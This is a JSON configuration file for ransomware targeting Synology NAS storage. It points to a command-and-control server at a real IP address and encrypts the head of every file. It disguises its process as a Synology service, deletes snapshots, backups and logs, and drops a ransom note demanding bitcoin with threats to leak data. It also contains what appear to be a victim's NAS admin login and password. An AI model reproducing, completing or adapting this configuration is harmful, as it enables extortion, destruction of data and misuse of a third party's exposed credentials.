{
  "_comment": "NAS hard. C2 VPS :58595 (45.74.7.105). LockBit-style: head-only 4KB for ALL files (threshold=1). PDF/huge→spots 0x17. Replace-mode .nsm.",
  "c2": {
    "retry_attempts": 10,
    "retry_base_delay_ms": 2000,
    "retry_max_delay_ms": 30000,
    "server_url": "https://45.74.7.105:58595",
    "socks_addr": "",
    "timeout_seconds": 120,
    "tor": false,
    "tor_data_dir": ""
  },
  "crypto": {
    "extension": ".nsm",
    "mode": "smart",
    "skip_extensions": [
      ".nsm",
      ".key",
      ".run",
      ".ech0raix",
      ".json",
      ".pem",
      ".crt"
    ],
    "smart": {
      "default_strategy": "head",
      "head_bytes": 4096,
      "tail_bytes": 0,
      "threshold": 1,
      "type_rules": {
        "spots": [
          ".pdf"
        ]
      }
    }
  },
  "misc": {
    "dry_run": false,
    "full_lockdown": false,
    "payment_poll_seconds": 30,
    "persistence": {
      "cron_schedule": "@reboot",
      "enabled": false,
      "harden_script": false,
      "service_name": "synodnsd"
    },
    "process_name": "synoscgi",
    "require_payment": true,
    "self_delete": true,
    "stop_defenders": false,
    "verbose": true
  },
  "ransom": {
    "amount": "",
    "contact_email": "",
    "currency": "",
    "dsm_admin_account": "anhepo",
    "dsm_admin_password": "A(ngel)Herreros_07",
    "dsm_public_host": "ffibfiles.fr3.quickconnect.to",
    "network": "",
    "note_filename": "READ_ME_UNLOCK_FILES.txt",
    "note_scope": "parent",
    "note_template": "Hello,\n\nWhat Happened?\nYour Network-Attached Storage (NAS) has been compromised.\n\nWhat Does This Mean? Where Are My Files?\nAll your data has been encrypted and uploaded to our servers.\n\nWhat Can I Do to Recover My Data?\nIf you want to recover your data, you need to send 0.07 BTC to the following address: 1AC27N1pfknqw1amhaQyaEvU77hLCRL1x9\nAlways double-check the address when copying and pasting it!\n\nWhat Should I Do After I Send the Payment?\nYour ID is: {{victim_id}}\nPlease email us your ID and payment confirmation at: nasmids@tuta.com\nAny messages other than payment confirmation will be ignored. Please respect your time and ours.\nAfter we confirm your payment, you will receive detailed instructions on how to connect to our server and download all your data back. This process does not require any technical skills and is completed quickly.\n\nPayment must be made by August 30th.\n\nCan I Still Use My NAS?\nDo not delete any files you find on your NAS.\nDo not attempt to recover your data using any software, as this may result in permanent data loss.\nDo not modify any volumes or storage pools on your NAS.\nDo not write large amounts of data to your disk.\n\nWhy Have My Files Been Downloaded?\nWe reserve the right to leak or sell all your important documents if payment is not made.\n\nWhere Can I Buy and Send Bitcoin?\nYou can easily buy and send Bitcoin from:\nhttps://www.moonpay.com/buy/btc\nhttps://paxful.com/buy-bitcoin\nhttps://localbitcoins.com/buy_bitcoins\nhttps://www.binance.com/en/buy-Bitcoin\n\nWe are professionals. This is a one-time deal. We will restore your data immediately after payment. We will even provide you with tips on how to strengthen your network security to prevent any future attacks.\n\nThank you.",
    "notes_per_dir": 1,
    "payment_address": "",
    "wallets": [
      {
        "address": "",
        "amount": "",
        "currency": "",
        "label": "",
        "network": ""
      }
    ],
    "welcome_overwrite": true
  },
  "targets": {
    "auto_detect_volumes": true,
    "directories": [],
    "encrypt_all": true,
    "max_file_size": 0,
    "parallelism": 0
  },
  "wipers": {
    "delete_btrfs_snapshots": true,
    "delete_shadow_copies": true,
    "delete_user_backups": true,
    "empty_recycle_bins": true,
    "kill_hybrid_share": true,
    "kill_snapshot_replication": true,
    "kill_synology_backup": true,
    "wipe_journald": true,
    "wipe_shell_history": true,
    "wipe_synology_logs": true
  }
}